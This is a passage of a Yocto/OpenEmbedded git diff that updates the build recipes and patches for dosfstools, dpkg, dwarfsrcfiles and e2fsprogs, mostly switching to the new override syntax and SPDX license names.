+LICENSE = "GPL-3.0-only"
+LIC_FILES_CHKSUM = "file://COPYING;md5=d32239bcb673463ab874e80d47fae504"
+
+SRC_URI = "https://github.com/dosfstools/dosfstools/releases/download/v${PV}/${BP}.tar.gz \
+ "
+SRC_URI[sha256sum] = "64926eebf90092dca21b14259a5301b7b98e7b1943e8a201c7d726084809b527"
+
+UPSTREAM_CHECK_URI = "https://github.com/dosfstools/dosfstools/releases"
+
+inherit autotools gettext pkgconfig update-alternatives
+
+EXTRA_OECONF = "--enable-compat-symlinks --without-iconv"
+
+CFLAGS += "-D_GNU_SOURCE -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64"
+
+BBCLASSEXTEND = "native nativesdk"
+
+ALTERNATIVE_PRIORITY = "100"
+ALTERNATIVE:${PN} = "mkfs.vfat"
+ALTERNATIVE_LINK_NAME[mkfs.vfat] = "${sbindir}/mkfs.vfat"
diff --git a/meta/recipes-devtools/dpkg/dpkg.inc b/meta/recipes-devtools/dpkg/dpkg.inc
index 1c3c585d79..0d17a98b80 100644
--- a/meta/recipes-devtools/dpkg/dpkg.inc
+++ b/meta/recipes-devtools/dpkg/dpkg.inc
@@ -1,20 +1,22 @@
SUMMARY = "Package maintenance system from Debian"
-LICENSE = "GPLv2.0+"
+LICENSE = "GPL-2.0-or-later"
+HOMEPAGE = "https://salsa.debian.org/dpkg-team/dpkg"
+DESCRIPTION = "The primary interface for the dpkg suite is the dselect program. A more low-level and less user-friendly interface is available in the form of the dpkg command."
SECTION = "base"
DEPENDS = "zlib bzip2 perl ncurses"
-DEPENDS_class-native = "bzip2-replacement-native zlib-native virtual/update-alternatives-native gettext-native perl-native"
-RDEPENDS_${PN} = "${VIRTUAL-RUNTIME_update-alternatives} perl"
-RDEPENDS_${PN}_class-native = ""
+DEPENDS:class-native = "bzip2-replacement-native zlib-native virtual/update-alternatives-native gettext-native perl-native"
+RDEPENDS:${PN} = "${VIRTUAL-RUNTIME_update-alternatives} perl"
+RDEPENDS:${PN}:class-native = ""
-UPSTREAM_CHECK_URI = "${DEBIAN_MIRROR}/main/d/dpkg/"
+UPSTREAM_CHECK_GITTAGREGEX = "(?P<pver>(\d+(\.\d+)+))"
inherit autotools gettext perlnative pkgconfig perl-version update-alternatives
-PERL_class-native = "${STAGING_BINDIR_NATIVE}/perl-native/perl"
+PERL:class-native = "${STAGING_BINDIR_NATIVE}/perl-native/perl"
-export PERL_LIBDIR = "${libdir}/perl/${@get_perl_version(d)}"
-PERL_LIBDIR_class-native = "${libdir}/perl-native/perl/${@get_perl_version(d)}"
+export PERL_LIBDIR = "${libdir}/perl5/${@get_perl_version(d)}"
+PERL_LIBDIR:class-native = "${libdir}/perl-native/perl/${@get_perl_version(d)}"
EXTRA_OECONF = "\
--disable-dselect \
@@ -25,34 +27,50 @@ EXTRA_OECONF = "\
TAR=tar \
"
-EXTRA_OECONF_append_class-target = " --disable-update-alternatives DEB_HOST_ARCH=${DPKG_ARCH}"
+EXTRA_OECONF:append:class-target = " --disable-update-alternatives DEB_HOST_ARCH=${DPKG_ARCH}"
+EXTRA_OECONF:append:class-nativesdk = " --disable-update-alternatives DEB_HOST_ARCH=${DPKG_ARCH}"
PACKAGECONFIG = "liblzma"
PACKAGECONFIG[liblzma] = "--with-liblzma,--without-liblzma, xz"
-do_install_append () {
+
+#autotools.bbclass default AUTOTOOLS_AUXDIR is ${S}, we need to under ${S}/build-aux
+AUTOTOOLS_AUXDIR = "${S}/build-aux"
+
+do_configure:prepend () {
+ mkdir -p ${AUTOTOOLS_AUXDIR}
+ # autotools_do_configure updates po/Makefile.in.in, we also need
+ # update dselect/po and scripts/po
+ cp -f ${STAGING_DATADIR_NATIVE}/gettext/po/Makefile.in.in ${S}/dselect/po/
+ cp -f ${STAGING_DATADIR_NATIVE}/gettext/po/Makefile.in.in ${S}/scripts/po/
+}
+
+do_install:append () {
if [ "${PN}" = "dpkg-native" ]; then
# update-alternatives doesn't have an offline mode
rm ${D}${bindir}/update-alternatives
- sed -i -e 's|^#!.*${bindir}/perl-native.*/perl|#!/usr/bin/env nativeperl|' ${D}${bindir}/dpkg-*
+ sed -i -e 's|^#!.*${STAGING_BINDIR_NATIVE}/perl-native.*/perl|#!/usr/bin/env nativeperl|' ${D}${bindir}/dpkg-* ${D}${sbindir}/dpkg-*
else
- sed -i -e 's|^#!.*${bindir}/perl-native.*/perl|#!/usr/bin/env perl|' ${D}${bindir}/dpkg-*
+ sed -i -e 's|^#!.*${STAGING_BINDIR_NATIVE}/perl-native.*/perl|#!/usr/bin/env perl|' ${D}${bindir}/dpkg-* ${D}${sbindir}/dpkg-*
fi
}
PROV = "virtual/update-alternatives"
-PROV_class-native = ""
+PROV:class-native = ""
+PROV:class-nativesdk = ""
PROVIDES += "${PROV}"
+FILES:${PN} += "${datadir}/zsh"
+
PACKAGES =+ "update-alternatives-dpkg"
-FILES_update-alternatives-dpkg = "${bindir}/update-alternatives ${localstatedir}/lib/dpkg/alternatives ${sysconfdir}/alternatives"
-RPROVIDES_update-alternatives-dpkg += "update-alternatives"
+FILES:update-alternatives-dpkg = "${bindir}/update-alternatives ${localstatedir}/lib/dpkg/alternatives ${sysconfdir}/alternatives"
+RPROVIDES:update-alternatives-dpkg += "update-alternatives"
PACKAGES += "${PN}-perl"
-FILES_${PN}-perl = "${libdir}/perl/${@get_perl_version(d)}"
+FILES:${PN}-perl = "${libdir}/perl5/${@get_perl_version(d)}"
-RDEPENDS_${PN}-perl += "perl-module-carp perl-module-constant \
+RDEPENDS:${PN}-perl += "perl-module-carp perl-module-constant \
perl-module-cwd perl-module-digest \
perl-module-digest-md5 perl-module-errno \
perl-module-exporter perl-module-fcntl \
@@ -76,12 +94,13 @@ RDEPENDS_${PN}-perl += "perl-module-carp perl-module-constant \
# the bitbake version.
#
PACKAGES =+ "${PN}-start-stop"
-FILES_${PN}-start-stop = "${sbindir}/start-stop-daemon.${BPN}"
-ALTERNATIVE_${PN}-start-stop = "start-stop-daemon"
+FILES:${PN}-start-stop = "${sbindir}/start-stop-daemon.${BPN}"
+ALTERNATIVE:${PN}-start-stop = "start-stop-daemon"
ALTERNATIVE_LINK_NAME[start-stop-daemon] = "${sbindir}/start-stop-daemon"
ALTERNATIVE_PRIORITY = "100"
-RDEPENDS_${PN} += "${PN}-start-stop"
-
+EXTRA_RDPENDS = "ldconfig"
+EXTRA_RDPENDS:libc-musl = ""
+RDEPENDS:${PN} += "${PN}-start-stop ${EXTRA_RDPENDS}"
-BBCLASSEXTEND = "native"
+BBCLASSEXTEND = "native nativesdk"
diff --git a/meta/recipes-devtools/dpkg/dpkg/0001-Add-support-for-riscv32-CPU.patch b/meta/recipes-devtools/dpkg/dpkg/0001-Add-support-for-riscv32-CPU.patch
new file mode 100644
index 0000000000..52e85705fa
--- /dev/null
+++ b/meta/recipes-devtools/dpkg/dpkg/0001-Add-support-for-riscv32-CPU.patch
@@ -0,0 +1,39 @@
+From 279e4c274f5f295823cf9fa95d3ba131f6d711db Mon Sep 17 00:00:00 2001
+From: Khem Raj <raj.khem@gmail.com>
+Date: Wed, 29 Apr 2020 22:02:23 -0700
+Subject: [PATCH] Add support for riscv32 CPU
+
+Upstream-Status: Pending
+Signed-off-by: Khem Raj <raj.khem@gmail.com>
+---
+ data/cputable | 1 +
+ scripts/Dpkg/Vendor/Debian.pm | 1 +
+ 2 files changed, 2 insertions(+)
+
+diff --git a/data/cputable b/data/cputable
+index 9f2a8e0..1d935b1 100644
+--- a/data/cputable
++++ b/data/cputable
+@@ -41,6 +41,7 @@ powerpc powerpc (powerpc|ppc) 32 big
+ powerpcel powerpcle powerpcle 32 little
+ ppc64 powerpc64 (powerpc|ppc)64 64 big
+ ppc64el powerpc64le powerpc64le 64 little
++riscv32 riscv32 riscv32 32 little
+ riscv64 riscv64 riscv64 64 little
+ s390 s390 s390 32 big
+ s390x s390x s390x 64 big
+diff --git a/scripts/Dpkg/Vendor/Debian.pm b/scripts/Dpkg/Vendor/Debian.pm
+index a352bbd..fa1d90b 100644
+--- a/scripts/Dpkg/Vendor/Debian.pm
++++ b/scripts/Dpkg/Vendor/Debian.pm
+@@ -306,6 +306,7 @@ sub _add_build_flags {
+ powerpc
+ ppc64
+ ppc64el
++ riscv32
+ riscv64
+ s390x
+ sparc
+--
+2.26.2
+
diff --git a/meta/recipes-devtools/dpkg/dpkg/0001-build.c-ignore-return-of-1-from-tar-cf.patch b/meta/recipes-devtools/dpkg/dpkg/0001-build.c-ignore-return-of-1-from-tar-cf.patch
new file mode 100644
index 0000000000..dc0d9bfc2e
--- /dev/null
+++ b/meta/recipes-devtools/dpkg/dpkg/0001-build.c-ignore-return-of-1-from-tar-cf.patch
@@ -0,0 +1,56 @@
+From 839f228556c00739f72534e8635195935eb3752f Mon Sep 17 00:00:00 2001
+From: Paul Eggleton <paul.eggleton@linux.microsoft.com>
+Date: Tue, 16 Jun 2020 03:57:25 +0000
+Subject: [PATCH] build.c: ignore return of 1 from tar -cf
+
+When running do_package_write_deb, we have trees of hardlinked files
+such as the dbg source files in ${PN}-dbg. If something makes another
+copy of one of those files (or deletes one), the number of links a file
+has changes and tar can notice this, e.g.:
+
+| DEBUG: Executing python function do_package_deb
+| dpkg-deb: building package `sed-ptest' in `/media/build1/poky/build/tmp/work/i586-poky-linux/sed/4.2.2-r0/deploy-debs/i586/sed-ptest_4.2.2-r0.3_i386.deb'.
+| tar: ./usr/lib/sed/ptest/testsuite/tst-regex2: file changed as we read it
+| dpkg-deb: error: subprocess tar -cf returned error exit status 1
+
+Tar returns an error of 1 when files 'change' and other errors codes
+in other error cases. We tweak dpkg-deb here so that it ignores an exit
+code of 1 from tar. The files don't really change (and we have locking in
+place to avoid that kind of issue).
+
+Upstream-Status: Inappropriate [OE specific]
+
+Original patch by RP 2015/3/27, rebased by Paul Eggleton
+
+Signed-off-by: Paul Eggleton <paul.eggleton@microsoft.com>
+
+---
+ src/deb/build.c | 5 ++++-
+ 1 file changed, 4 insertions(+), 1 deletion(-)
+
+diff --git a/src/deb/build.c b/src/deb/build.c
+index 76613ad..7c216d1 100644
+--- a/src/deb/build.c
++++ b/src/deb/build.c
+@@ -482,6 +482,7 @@ tarball_pack(const char *dir, filenames_feed_func *tar_filenames_feeder,
+ {
+ int pipe_filenames[2], pipe_tarball[2];
+ pid_t pid_tar, pid_comp;
++ int rc;
+
+ /* Fork off a tar. We will feed it a list of filenames on stdin later. */
+ m_pipe(pipe_filenames);
+@@ -534,7 +535,9 @@ tarball_pack(const char *dir, filenames_feed_func *tar_filenames_feeder,
+ /* All done, clean up wait for tar and <compress> to finish their job. */
+ close(pipe_filenames[1]);
+ subproc_reap(pid_comp, _("<compress> from tar -cf"), 0);
+- subproc_reap(pid_tar, "tar -cf", 0);
++ rc = subproc_reap(pid_tar, "tar -cf", SUBPROC_RETERROR);
++ if (rc && rc != 1)
++ ohshite(_("subprocess %s returned error exit status %d"), "tar -cf", rc);
+ }
+
+ static intmax_t
+--
+2.25.1
+
diff --git a/meta/recipes-devtools/dpkg/dpkg/0001-dpkg-Support-muslx32-build.patch b/meta/recipes-devtools/dpkg/dpkg/0001-dpkg-Support-muslx32-build.patch
index 50e6894406..d66ab4476a 100644
--- a/meta/recipes-devtools/dpkg/dpkg/0001-dpkg-Support-muslx32-build.patch
+++ b/meta/recipes-devtools/dpkg/dpkg/0001-dpkg-Support-muslx32-build.patch
@@ -3,7 +3,7 @@ From: sweeaun <swee.aun.khor@intel.com>
Date: Sun, 10 Sep 2017 00:14:15 -0700
Subject: [PATCH] dpkg: Support muslx32 build
-Upstream-Status: Pending.
+Upstream-Status: Pending
Changes made on ostable and tupletable to enable muslx32 build.
Signed-off-by: sweeaun <swee.aun.khor@intel.com>
diff --git a/meta/recipes-devtools/dpkg/dpkg/0003-Our-pre-postinsts-expect-D-to-be-set-when-running-in.patch b/meta/recipes-devtools/dpkg/dpkg/0003-Our-pre-postinsts-expect-D-to-be-set-when-running-in.patch
index 9ca7262eb9..75ae848264 100644
--- a/meta/recipes-devtools/dpkg/dpkg/0003-Our-pre-postinsts-expect-D-to-be-set-when-running-in.patch
+++ b/meta/recipes-devtools/dpkg/dpkg/0003-Our-pre-postinsts-expect-D-to-be-set-when-running-in.patch
@@ -12,14 +12,14 @@ ALIMON 2016/05/26
ALIMON 2017/02/21
KKang 2019/02/20
---
- src/script.c | 53 +++-------------------------------------------------
- 1 file changed, 3 insertions(+), 50 deletions(-)
+ src/main/script.c | 54 +++--------------------------------------------
+ 1 file changed, 3 insertions(+), 51 deletions(-)
-diff --git a/src/script.c b/src/script.c
-index abe65b6f7..621ff9b27 100644
---- a/src/script.c
-+++ b/src/script.c
-@@ -96,58 +96,11 @@ setexecute(const char *path, struct stat *stab)
+diff --git a/src/main/script.c b/src/main/script.c
+index abe65b6..0edb8f1 100644
+--- a/src/main/script.c
++++ b/src/main/script.c
+@@ -96,58 +96,10 @@ setexecute(const char *path, struct stat *stab)
static const char *
maintscript_pre_exec(struct command *cmd)
{
@@ -49,9 +49,7 @@ index abe65b6f7..621ff9b27 100644
- "using --force-script-chrootless?"));
- else if (rc)
- ohshite(_("failed to chroot to '%.250s'"), instdir);
-+ if (*instdir) {
-+ setenv("D", instdir, 1);
- }
+- }
- /* Switch to a known good directory to give the maintainer script
- * a saner environment, also needed after the chroot(). */
- if (chdir(changedir))
@@ -68,19 +66,21 @@ index abe65b6f7..621ff9b27 100644
- debug(dbg_scripts, "fork/exec %s (%s )", cmd->filename,
- args.buf);
- varbuf_destroy(&args);
-- }
++ if (*instdir) {
++ setenv("D", instdir, 1);
+ }
- if (instdirlen == 0 || in_force(FORCE_SCRIPT_CHROOTLESS))
- return cmd->filename;
-
- if (strlen(cmd->filename) < instdirlen)
- internerr("maintscript name '%s' length < instdir length %zd",
- cmd->filename, instdirlen);
-
+-
- return cmd->filename + instdirlen;
+ return cmd->filename;
}
/**
--
-2.17.1
+2.25.1
diff --git a/meta/recipes-devtools/dpkg/dpkg/0004-The-lutimes-function-doesn-t-work-properly-for-all-s.patch b/meta/recipes-devtools/dpkg/dpkg/0004-The-lutimes-function-doesn-t-work-properly-for-all-s.patch
index 56c85c7733..bbd5aba418 100644
--- a/meta/recipes-devtools/dpkg/dpkg/0004-The-lutimes-function-doesn-t-work-properly-for-all-s.patch
+++ b/meta/recipes-devtools/dpkg/dpkg/0004-The-lutimes-function-doesn-t-work-properly-for-all-s.patch
@@ -8,14 +8,14 @@ Signed-off-by: Constantin Musca <constantinx.musca@intel.com>
Upstream-Status: Inappropriate [embedded specific]
---
- src/archives.c | 3 ++-
+ src/main/archives.c | 3 ++-
1 file changed, 2 insertions(+), 1 deletion(-)
-diff --git a/src/archives.c b/src/archives.c
-index bff5f14..b711013 100644
---- a/src/archives.c
-+++ b/src/archives.c
-@@ -449,8 +449,9 @@ tarobject_set_mtime(struct tar_entry *te, const char *path)
+diff --git a/src/main/archives.c b/src/main/archives.c
+index 92340b9..7a55c27 100644
+--- a/src/main/archives.c
++++ b/src/main/archives.c
+@@ -490,8 +490,9 @@ tarobject_set_mtime(struct tar_entry *te, const char *path)
if (te->type == TAR_FILETYPE_SYMLINK) {
#ifdef HAVE_LUTIMES
@@ -27,5 +27,5 @@ index bff5f14..b711013 100644
} else {
if (utimes(path, tv))
--
-2.1.4
+2.25.1
diff --git a/meta/recipes-devtools/dpkg/dpkg/0007-dpkg-deb-build.c-Remove-usage-of-clamp-mtime-in-tar.patch b/meta/recipes-devtools/dpkg/dpkg/0007-dpkg-deb-build.c-Remove-usage-of-clamp-mtime-in-tar.patch
index 4f79a40d8b..117f9234ad 100644
--- a/meta/recipes-devtools/dpkg/dpkg/0007-dpkg-deb-build.c-Remove-usage-of-clamp-mtime-in-tar.patch
+++ b/meta/recipes-devtools/dpkg/dpkg/0007-dpkg-deb-build.c-Remove-usage-of-clamp-mtime-in-tar.patch
@@ -2,9 +2,6 @@ From 8659eeeeda74d71e12080121f0b13a88cbdda433 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?An=C3=ADbal=20Lim=C3=B3n?= <anibal.limon@linux.intel.com>
Date: Tue, 21 Feb 2017 11:23:27 -0600
Subject: [PATCH] dpkg-deb/build.c: Remove usage of --clamp-mtime in tar
-MIME-Version: 1.0
-Content-Type: text/plain; charset=UTF-8
-Content-Transfer-Encoding: 8bit
Recently dpkg added --clamp-mtime to tar to create reproducible
build tarballs [1].
@@ -23,14 +20,14 @@ Update patch context for dpkg 1.19.4.
Signed-off-by: Kai Kang <kai.kang@windriver.com>
---
- dpkg-deb/build.c | 2 +-
+ src/deb/build.c | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
-diff --git a/dpkg-deb/build.c b/dpkg-deb/build.c
-index 68d1875..053fcb7 100644
---- a/dpkg-deb/build.c
-+++ b/dpkg-deb/build.c
-@@ -457,7 +457,7 @@ tarball_pack(const char *dir, filenames_feed_func *tar_filenames_feeder,
+diff --git a/src/deb/build.c b/src/deb/build.c
+index 5c74ff3..76613ad 100644
+--- a/src/deb/build.c
++++ b/src/deb/build.c
+@@ -505,7 +505,7 @@ tarball_pack(const char *dir, filenames_feed_func *tar_filenames_feeder,
command_init(&cmd, TAR, "tar -cf");
command_add_args(&cmd, "tar", "-cf", "-", "--format=gnu",
@@ -40,4 +37,5 @@ index 68d1875..053fcb7 100644
if (options->mode)
command_add_args(&cmd, "--mode", options->mode, NULL);
--
-2.11.0
+2.25.1
+
diff --git a/meta/recipes-devtools/dpkg/dpkg/noman.patch b/meta/recipes-devtools/dpkg/dpkg/noman.patch
index a7f3cb8f45..6900716b11 100644
--- a/meta/recipes-devtools/dpkg/dpkg/noman.patch
+++ b/meta/recipes-devtools/dpkg/dpkg/noman.patch
@@ -1,22 +1,21 @@
Upstream-Status: Inappropriate [disable feature]
---
- Makefile.am | 3 +--
- 1 file changed, 1 insertion(+), 2 deletions(-)
+ Makefile.am | 1 -
+ 1 file changed, 1 deletion(-)
diff --git a/Makefile.am b/Makefile.am
-index 0da52cb16..a1f79e0a2 100644
+index d963a10..7cef7f5 100644
--- a/Makefile.am
+++ b/Makefile.am
-@@ -13,8 +13,7 @@ SUBDIRS = \
+@@ -11,7 +11,6 @@ SUBDIRS = \
$(MAYBE_DSELECT) \
scripts \
- t-func \
-- po \
-- man
-+ po
+ po \
+- man \
+ # EOL
ACLOCAL_AMFLAGS = -I m4
-
--
-2.11.0
+2.25.1
+
diff --git a/meta/recipes-devtools/dpkg/dpkg/remove-tar-no-timestamp.patch b/meta/recipes-devtools/dpkg/dpkg/remove-tar-no-timestamp.patch
index 4f408ff777..ebf838ffe9 100644
--- a/meta/recipes-devtools/dpkg/dpkg/remove-tar-no-timestamp.patch
+++ b/meta/recipes-devtools/dpkg/dpkg/remove-tar-no-timestamp.patch
@@ -3,11 +3,15 @@ busybox-1.19.4 tar utility doesn't support --warning=no-timestamp
Signed-off-by: Constantin Musca <constantinx.musca@intel.com>
Upstream-Status: Inappropriate [configuration]
-Index: dpkg-1.17.1/dpkg-deb/extract.c
-===================================================================
---- dpkg-1.17.1.orig/dpkg-deb/extract.c
-+++ dpkg-1.17.1/dpkg-deb/extract.c
-@@ -318,7 +318,6 @@ extracthalf(const char *debar, const cha
+---
+ src/deb/extract.c | 1 -
+ 1 file changed, 1 deletion(-)
+
+diff --git a/src/deb/extract.c b/src/deb/extract.c
+index a1b2dc0..95e2372 100644
+--- a/src/deb/extract.c
++++ b/src/deb/extract.c
+@@ -333,7 +333,6 @@ extracthalf(const char *debar, const char *dir,
command_add_arg(&cmd, "-f");
command_add_arg(&cmd, "-");
@@ -15,3 +19,6 @@ Index: dpkg-1.17.1/dpkg-deb/extract.c
m_dup2(p2[0],0);
close(p2[0]);
+--
+2.25.1
+
diff --git a/meta/recipes-devtools/dpkg/dpkg/tweak-options-require-tar-1.27.patch b/meta/recipes-devtools/dpkg/dpkg/tweak-options-require-tar-1.27.patch
deleted file mode 100644
index e9119918b1..0000000000
--- a/meta/recipes-devtools/dpkg/dpkg/tweak-options-require-tar-1.27.patch
+++ /dev/null
@@ -1,27 +0,0 @@
-GNU tar >= 1.27 is required for --owner=NAME:ID and --group=NAME:ID. And fails
-to build .deb packages with error:
-
-| dpkg-deb: building package 'linux-libc-headers-dbg' in '.../tmp/work/i586-poky-linux/linux-libc-headers/4.19-r0/deploy-debs/i586/linux-libc-headers-dbg_ 4.19-r0.0_i386.deb'.
-| tar: root\:0: Invalid owner
-| tar: Error is not recoverable: exiting now
-| dpkg-deb: error: tar -cf subprocess returned error exit status 2
-
-Tweak tar options in dpkg-deb source code to make it work on old machines.
-
-Upstream-Status: Inappropriate [cross build specific]
-
-Signed-off-by: Kai Kang <kai.kang@windriver.com>
----
-diff --git a/dpkg-deb/build.c b/dpkg-deb/build.c
-index 68d187511..86fe22e25 100644
---- a/dpkg-deb/build.c
-+++ b/dpkg-deb/build.c
-@@ -462,7 +462,7 @@ tarball_pack(const char *dir, filenames_feed_func *tar_filenames_feeder,
- if (options->mode)
- command_add_args(&cmd, "--mode", options->mode, NULL);
- if (options->root_owner_group)
-- command_add_args(&cmd, "--owner", "root:0", "--group", "root:0", NULL);
-+ command_add_args(&cmd, "--owner", "root", "--group", "root", NULL);
- command_add_args(&cmd, "--null", "--no-unquote", "--no-recursion",
- "-T", "-", NULL);
- command_exec(&cmd);
diff --git a/meta/recipes-devtools/dpkg/dpkg_1.19.7.bb b/meta/recipes-devtools/dpkg/dpkg_1.19.7.bb
deleted file mode 100644
index e9dec337b3..0000000000
--- a/meta/recipes-devtools/dpkg/dpkg_1.19.7.bb
+++ /dev/null
@@ -1,22 +0,0 @@
-require dpkg.inc
-LIC_FILES_CHKSUM = "file://COPYING;md5=751419260aa954499f7abaabaa882bbe"
-
-SRC_URI = "${DEBIAN_MIRROR}/main/d/${BPN}/${BPN}_${PV}.tar.xz \
- file://noman.patch \
- file://remove-tar-no-timestamp.patch \
- file://arch_pm.patch \
- file://add_armeb_triplet_entry.patch \
- file://0002-Adapt-to-linux-wrs-kernel-version-which-has-characte.patch \
- file://0003-Our-pre-postinsts-expect-D-to-be-set-when-running-in.patch \
- file://0004-The-lutimes-function-doesn-t-work-properly-for-all-s.patch \
- file://0006-add-musleabi-to-known-target-tripets.patch \
- file://0007-dpkg-deb-build.c-Remove-usage-of-clamp-mtime-in-tar.patch \
- file://0001-dpkg-Support-muslx32-build.patch \
- file://pager.patch \
- "
-SRC_URI_append_class-native = " \
- file://tweak-options-require-tar-1.27.patch \
-"
-
-SRC_URI[md5sum] = "60f57c5494e6dfa177504d47bfa0e383"
-SRC_URI[sha256sum] = "4c27fededf620c0aa522fff1a48577ba08144445341257502e7730f2b1a296e8"
diff --git a/meta/recipes-devtools/dpkg/dpkg_1.21.2.bb b/meta/recipes-devtools/dpkg/dpkg_1.21.2.bb
new file mode 100644
index 0000000000..ef2e06ee4a
--- /dev/null
+++ b/meta/recipes-devtools/dpkg/dpkg_1.21.2.bb
@@ -0,0 +1,23 @@
+require dpkg.inc
+LIC_FILES_CHKSUM = "file://COPYING;md5=751419260aa954499f7abaabaa882bbe"
+
+SRC_URI = "git://salsa.debian.org/dpkg-team/dpkg.git;protocol=https;branch=main \
+ file://noman.patch \
+ file://remove-tar-no-timestamp.patch \
+ file://arch_pm.patch \
+ file://add_armeb_triplet_entry.patch \
+ file://0002-Adapt-to-linux-wrs-kernel-version-which-has-characte.patch \
+ file://0003-Our-pre-postinsts-expect-D-to-be-set-when-running-in.patch \
+ file://0004-The-lutimes-function-doesn-t-work-properly-for-all-s.patch \
+ file://0006-add-musleabi-to-known-target-tripets.patch \
+ file://0007-dpkg-deb-build.c-Remove-usage-of-clamp-mtime-in-tar.patch \
+ file://0001-dpkg-Support-muslx32-build.patch \
+ file://pager.patch \
+ file://0001-Add-support-for-riscv32-CPU.patch \
+ "
+
+SRC_URI:append:class-native = " file://0001-build.c-ignore-return-of-1-from-tar-cf.patch"
+
+SRCREV = "a9580d3aec5f487a81664a462ec70ec1993f19f8"
+
+S = "${WORKDIR}/git"
diff --git a/meta/recipes-devtools/dwarfsrcfiles/dwarfsrcfiles.bb b/meta/recipes-devtools/dwarfsrcfiles/dwarfsrcfiles.bb
index 2c843a9342..c596497b8e 100644
--- a/meta/recipes-devtools/dwarfsrcfiles/dwarfsrcfiles.bb
+++ b/meta/recipes-devtools/dwarfsrcfiles/dwarfsrcfiles.bb
@@ -1,17 +1,18 @@
SUMMARY = "A small utility for printing debug source file locations embedded in binaries"
-LICENSE = "GPLv2+"
+DESCRIPTION = "${SUMMARY}"
+LICENSE = "GPL-2.0-or-later"
LIC_FILES_CHKSUM = "file://../dwarfsrcfiles.c;md5=31483894e453a77acbb67847565f1b5c;beginline=1;endline=8"
SRC_URI = "file://dwarfsrcfiles.c"
BBCLASSEXTEND = "native"
DEPENDS = "elfutils"
-DEPENDS_append_libc-musl = " argp-standalone"
+DEPENDS:append:libc-musl = " argp-standalone"
do_compile () {
${CC} ${CFLAGS} ${LDFLAGS} -o dwarfsrcfiles ../dwarfsrcfiles.c -lelf -ldw
}
-do_compile_libc-musl () {
+do_compile:libc-musl () {
${CC} ${CFLAGS} ${LDFLAGS} -o dwarfsrcfiles ../dwarfsrcfiles.c -lelf -ldw -largp
}
diff --git a/meta/recipes-devtools/dwarfsrcfiles/files/dwarfsrcfiles.c b/meta/recipes-devtools/dwarfsrcfiles/files/dwarfsrcfiles.c
index af7af524eb..9eb5ca807a 100644
--- a/meta/recipes-devtools/dwarfsrcfiles/files/dwarfsrcfiles.c
+++ b/meta/recipes-devtools/dwarfsrcfiles/files/dwarfsrcfiles.c
@@ -9,6 +9,7 @@
#include <argp.h>
#include <stdio.h>
+#include <stdlib.h>
#include <dwarf.h>
#include <elfutils/libdw.h>
@@ -83,13 +84,15 @@ process_cu (Dwarf_Die *cu_die)
int
main (int argc, char **argv)
{
- char* args[3];
+ char* args[5];
int res = 0;
Dwfl *dwfl;
Dwarf_Addr bias;
- if (argc != 2)
+ if (argc != 2) {
fprintf(stderr, "Usage %s <file>", argv[0]);
+ exit(EXIT_FAILURE);
+ }
// Pretend "dwarfsrcfiles -e <file>" was given, so we can use standard
// dwfl argp parser to open the file for us and get our Dwfl. Useful
@@ -98,8 +101,12 @@ main (int argc, char **argv)
args[0] = argv[0];
args[1] = "-e";
args[2] = argv[1];
+ // We don't want to follow debug linked files due to the way OE processes
+ // files, could race against changes in the linked binary (e.g. objcopy on it)
+ args[3] = "--debuginfo-path";
+ args[4] = "/not/exist";
- argp_parse (dwfl_standard_argp (), 3, args, 0, NULL, &dwfl);
+ argp_parse (dwfl_standard_argp (), 5, args, 0, NULL, &dwfl);
Dwarf_Die *cu = NULL;
while ((cu = dwfl_nextcu (dwfl, cu, &bias)) != NULL)
diff --git a/meta/recipes-devtools/e2fsprogs/e2fsprogs.inc b/meta/recipes-devtools/e2fsprogs/e2fsprogs.inc
index a54a11c354..f41a5d0b4e 100644
--- a/meta/recipes-devtools/e2fsprogs/e2fsprogs.inc
+++ b/meta/recipes-devtools/e2fsprogs/e2fsprogs.inc
@@ -3,12 +3,12 @@ DESCRIPTION = "The Ext2 Filesystem Utilities (e2fsprogs) contain all of the stan
fixing, configuring , and debugging ext2 filesystems."
HOMEPAGE = "http://e2fsprogs.sourceforge.net/"
-LICENSE = "GPLv2 & LGPLv2 & BSD & MIT"
-LICENSE_e2fsprogs-e2fsck = "GPLv2"
-LICENSE_e2fsprogs-mke2fs = "GPLv2"
-LICENSE_e2fsprogs-fsck = "GPLv2"
-LICENSE_e2fsprogs-tune2fs = "GPLv2"
-LICENSE_e2fsprogs-badblocks = "GPLv2"
+LICENSE = "GPL-2.0-only & LGPL-2.0-only & BSD-3-Clause & MIT"
+LICENSE:e2fsprogs-dumpe2fs = "GPL-2.0-only"
+LICENSE:e2fsprogs-e2fsck = "GPL-2.0-only"
+LICENSE:e2fsprogs-mke2fs = "GPL-2.0-only"
+LICENSE:e2fsprogs-tune2fs = "GPL-2.0-only"
+LICENSE:e2fsprogs-badblocks = "GPL-2.0-only"
LIC_FILES_CHKSUM = "file://NOTICE;md5=d50be0580c0b0a7fbc7a4830bbe6c12b \
file://lib/ext2fs/ext2fs.h;beginline=1;endline=9;md5=596a8dedcb4e731c6b21c7a46fba6bef \
file://lib/e2p/e2p.h;beginline=1;endline=7;md5=8a74ade8f9d65095d70ef2d4bf48e36a \
@@ -17,9 +17,9 @@ LIC_FILES_CHKSUM = "file://NOTICE;md5=d50be0580c0b0a7fbc7a4830bbe6c12b \
file://lib/et/et_name.c;beginline=1;endline=11;md5=ead236447dac7b980dbc5b4804d8c836 \
file://lib/ss/ss.h;beginline=1;endline=20;md5=6e89ad47da6e75fecd2b5e0e81e1d4a6"
SECTION = "base"
-DEPENDS = "util-linux attr"
+DEPENDS = "util-linux attr autoconf-archive"
-SRC_URI = "git://git.kernel.org/pub/scm/fs/ext2/e2fsprogs.git"
+SRC_URI = "git://git.kernel.org/pub/scm/fs/ext2/e2fsprogs.git;branch=master"
S = "${WORKDIR}/git"
inherit autotools gettext texinfo pkgconfig multilib_header update-alternatives ptest
diff --git a/meta/recipes-devtools/e2fsprogs/e2fsprogs/0001-misc-create_inode.c-set-dir-s-mode-correctly.patch b/meta/recipes-devtools/e2fsprogs/e2fsprogs/0001-misc-create_inode.c-set-dir-s-mode-correctly.patch
deleted file mode 100644
index fc4a540986..0000000000
--- a/meta/recipes-devtools/e2fsprogs/e2fsprogs/0001-misc-create_inode.c-set-dir-s-mode-correctly.patch
+++ /dev/null
@@ -1,41 +0,0 @@
-From f6d188580c2c9599319076fee22f2424652c711c Mon Sep 17 00:00:00 2001
-From: Robert Yang <liezhi.yang@windriver.com>
